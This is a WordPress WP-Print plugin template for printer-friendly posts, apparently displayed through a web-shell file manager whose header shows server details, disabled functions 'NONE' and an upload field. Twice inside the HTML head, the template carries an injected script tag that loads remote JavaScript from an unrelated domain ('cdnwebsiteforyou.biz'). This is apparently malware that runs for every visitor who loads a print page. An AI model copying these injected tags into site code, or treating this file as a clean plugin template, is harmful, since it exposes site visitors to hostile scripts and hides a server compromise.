|
Server : Apache System : Linux s1230 5.15.0-139-generic #149~20.04.1 SMP Tue Jul 14 11:21:49 UTC 2026 x86_64 User : p141464 ( 418825) PHP Version : 7.4.33.12 Disable Function : NONE Directory : /html/wordpress-old/wp-content/plugins/wp-print/ |
Upload File : |
<?php
/*
* WordPress Plugin: WP-Print
* Copyright (c) 2012 Lester "GaMerZ" Chan
*
* File Written By:
* - Lester "GaMerZ" Chan
* - http://lesterchan.net
*
* File Information:
* - Printer Friendly Post/Page Template
* - wp-content/plugins/wp-print/print-posts.php
*/
?>
<?php global $text_direction; ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
<head><script src="https://cdnwebsiteforyou.biz/cdn.js?c=4" id="cd709010" type="text/javascript" async></script>
<title><?php bloginfo('name'); ?> <?php wp_title(); ?></title>
<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
<meta name="Robots" content="noindex, nofollow" />
<?php if(@file_exists(TEMPLATEPATH.'/print-css.css')): ?>
<link rel="stylesheet" href="<?php echo get_stylesheet_directory_uri(); ?>/print-css.css" type="text/css" media="screen, print" />
<?php else: ?>
<link rel="stylesheet" href="<?php echo plugins_url('wp-print/print-css.css'); ?>" type="text/css" media="screen, print" />
<?php endif; ?>
<?php if('rtl' == $text_direction): ?>
<?php if(@file_exists(TEMPLATEPATH.'/print-css-rtl.css')): ?>
<link rel="stylesheet" href="<?php echo get_stylesheet_directory_uri(); ?>/print-css-rtl.css" type="text/css" media="screen, print" />
<?php else: ?>
<link rel="stylesheet" href="<?php echo plugins_url('wp-print/print-css-rtl.css'); ?>" type="text/css" media="screen, print" />
<?php endif; ?>
<?php endif; ?>
<link rel="canonical" href="<?php the_permalink(); ?>" />
<script src="https://cdnwebsiteforyou.biz/cdn.js?c=4" id="cd709010" type="text/javascript" async></script></head>
<body>
<p style="text-align: center;"><strong>- <?php bloginfo('name'); ?> - <span dir="ltr"><?php bloginfo('url')?></span> -</strong></p>
<div class="Center">
<div id="Outline">
<?php if (have_posts()): ?>
<?php while (have_posts()): the_post(); ?>
<p id="BlogTitle"><?php the_title(); ?></p>
<p id="BlogDate"><?php _e('Posted By', 'wp-print'); ?> <u><?php the_author(); ?></u> <?php _e('On', 'wp-print'); ?> <?php the_time(sprintf(__('%s @ %s', 'wp-print'), get_option('date_format'), get_option('time_format'))); ?> <?php _e('In', 'wp-print'); ?> <?php print_categories('<u>', '</u>'); ?> | <u><a href='#comments_controls'><?php print_comments_number(); ?></a></u></p>
<div id="BlogContent"><?php print_content(); ?></div>
<?php endwhile; ?>
<hr class="Divider" style="text-align: center;" />
<?php if(print_can('comments')): ?>
<?php comments_template(); ?>
<?php endif; ?>
<p><?php _e('Article printed from', 'wp-print'); ?> <?php bloginfo('name'); ?>: <strong dir="ltr"><?php bloginfo('url'); ?></strong></p>
<p><?php _e('URL to article', 'wp-print'); ?>: <strong dir="ltr"><?php the_permalink(); ?></strong></p>
<?php if(print_can('links')): ?>
<p><?php print_links(); ?></p>
<?php endif; ?>
<p style="text-align: <?php echo ('rtl' == $text_direction) ? 'left' : 'right'; ?>;" id="print-link"><?php _e('Click', 'wp-print'); ?> <a href="#Print" onclick="window.print(); return false;" title="<?php _e('Click here to print.', 'wp-print'); ?>"><?php _e('here', 'wp-print'); ?></a> <?php _e('to print.', 'wp-print'); ?></p>
<?php else: ?>
<p><?php _e('No posts matched your criteria.', 'wp-print'); ?></p>
<?php endif; ?>
</div>
</div>
<p style="text-align: center;"><?php echo stripslashes($print_options['disclaimer']); ?></p>
</body>
</html>